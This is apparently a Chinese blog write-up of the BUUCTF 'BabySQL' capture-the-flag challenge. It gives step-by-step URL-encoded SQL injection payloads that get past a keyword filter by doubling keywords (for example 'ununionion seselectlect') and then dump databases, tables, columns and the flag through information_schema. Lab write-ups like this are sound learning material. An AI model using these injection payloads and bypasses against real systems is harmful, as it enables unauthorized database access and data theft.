CTF-Web-[极客大挑战 2019]BabySQL
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]BabySQL
打开题目的实例
思路
当然第一步还是尝试万能密码,然后发现or不能用,这时候要记得使用双写
首先测试一下,发现union和select过滤了
/check.php?username=admin&password=1 %27 union select 1 %23
使用双写
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
还是报错,但是没有说是我们sql语法有问题,说明注入成功,可能是我们的列数不对,我们一个个向上调,应该不会很大
c
在列数为3的时候得到回显,是不是很熟悉了,和上次那个LoveSQL很像啦,爆破!
爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
试一下爆出所有的数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
上面看到一个可疑的ctf库,爆它
爆表
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
在里面找到一个flag表
爆字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23
爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
flag出来了
感谢
BUUCTF以及勤劳的自己
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。